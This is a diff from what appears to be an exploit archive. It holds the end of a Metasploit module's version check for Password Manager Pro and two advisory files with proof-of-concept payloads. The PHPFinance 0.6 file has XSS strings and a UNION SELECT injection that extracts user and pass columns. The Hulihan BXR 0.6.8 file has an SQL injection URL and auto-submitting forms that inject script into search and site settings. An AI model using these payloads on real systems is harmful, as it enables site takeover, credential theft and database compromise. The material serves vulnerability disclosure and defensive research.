print_status("#{peer} - Detected Password Manager Pro v6 #{build} (MySQL)")
|
||||
return Exploit::CheckCode::Appears
|
||||
elsif ver_lt(build, '7003')
|
||||
print_status("#{peer} - Detected Password Manager Pro v6 / v7 #{build}")
|
||||
return Exploit::CheckCode::Appears
|
||||
else
|
||||
print_status("#{peer} - Detected Password Manager Pro v6 / v7 #{build}")
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def ver_lt(a, b)
|
||||
Gem::Version.new(a) < Gem::Version.new(b)
|
||||
end
|
||||
|
||||
def ver_lt_eq(a, b)
|
||||
Gem::Version.new(a) <= Gem::Version.new(b)
|
||||
end
|
||||
|
||||
def ver_gt_eq(a, b)
|
||||
Gem::Version.new(a) >= Gem::Version.new(b)
|
||||
end
|
||||
|
||||
def ver_gt(a, b)
|
||||
Gem::Version.new(a) > Gem::Version.new(b)
|
||||
end
|
||||
end
|
||||
19
platforms/php/webapps/34410.txt
Executable file
19
platforms/php/webapps/34410.txt
Executable file
|
|
@ -0,0 +1,19 @@
|
|||
source: http://www.securityfocus.com/bid/42230/info
|
||||
|
||||
PHPFinance is prone to an SQL-injection vulnerability and an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied input.
|
||||
|
||||
An attacker may exploit the HTML-injection issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is displayed, and launch other attacks.
|
||||
|
||||
The attacker may exploit the SQL-injection issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
||||
|
||||
PHPFinance 0.6 is vulnerable; other versions may also be affected.
|
||||
|
||||
The following examples are available:
|
||||
|
||||
HTML Injection
|
||||
|
||||
>"<iframe src=http://test.de> or >"<script>alert(document.cookie)</script><div style="1
|
||||
|
||||
SQL Injection
|
||||
|
||||
http://www.example.com/group.php?tname=-%27%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10%20concat(user,0x3a,pass),11,12,13,14,%20from%20xxxxx%20 ... /*
|
||||
40
platforms/php/webapps/34412.txt
Executable file
40
platforms/php/webapps/34412.txt
Executable file
|
|
@ -0,0 +1,40 @@
|
|||
source: http://www.securityfocus.com/bid/42247/info
|
||||
|
||||
Hulihan Applications BXR is prone to an SQL-injection vulnerability and multiple HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input.
|
||||
|
||||
An attacker may leverage these issues to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database or to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is viewed, and launch other attacks.
|
||||
|
||||
Hulihan Applications BXR 0.6.8 is vulnerable; other versions may also be affected.
|
||||
|
||||
http://www.example.com/folder/list?order_by=filesize'+SQL
|
||||
|
||||
|
||||
<form action="http://host/search/show_results" method="post" name="main" >
|
||||
|
||||
<input type="hidden" name="search_type" value="filename" />
|
||||
<input type="hidden" name="search[query]" value='1"><script>alert(document.cookie)</script>' />
|
||||
<input type="hidden" name="commit" value="Find!" />
|
||||
|
||||
</form>
|
||||
<script>
|
||||
document.main.submit();
|
||||
</script>
|
||||
|
||||
|
||||
mytagname"><script>alert(document.cookie)</script>
|
||||
|
||||
|
||||
<form action="http://host/settings/update_settings" method="post" name="main" >
|
||||
|
||||
<input type="hidden" name="setting[site_title]" value='BXR File Management System"><script>alert(document.cookie)</script>' />
|
||||
<input type="hidden" name="setting[site_keywords]" value="BXR, Open Source File Management System" />
|
||||
<input type="hidden" name="setting[site_description]" value="The Free, Open Source, Ruby on Rails File Management System." />
|
||||
<input type="hidden" name="setting[let_users_change_default_folder]" value="0" />
|
||||
<input type="hidden" name="setting[use_ferret]" value="0" />
|
||||
<input type="hidden" name="setting[overwrite_existing_files]" value="0" />
|
||||
<input type="hidden" name="commit" value="Update Settings" />
|
||||
|
||||
</form>
|
||||
<script>
|
||||
document.main.submit();
|
||||
</script>
|
||||
Loading…
Add table
Reference in a new issue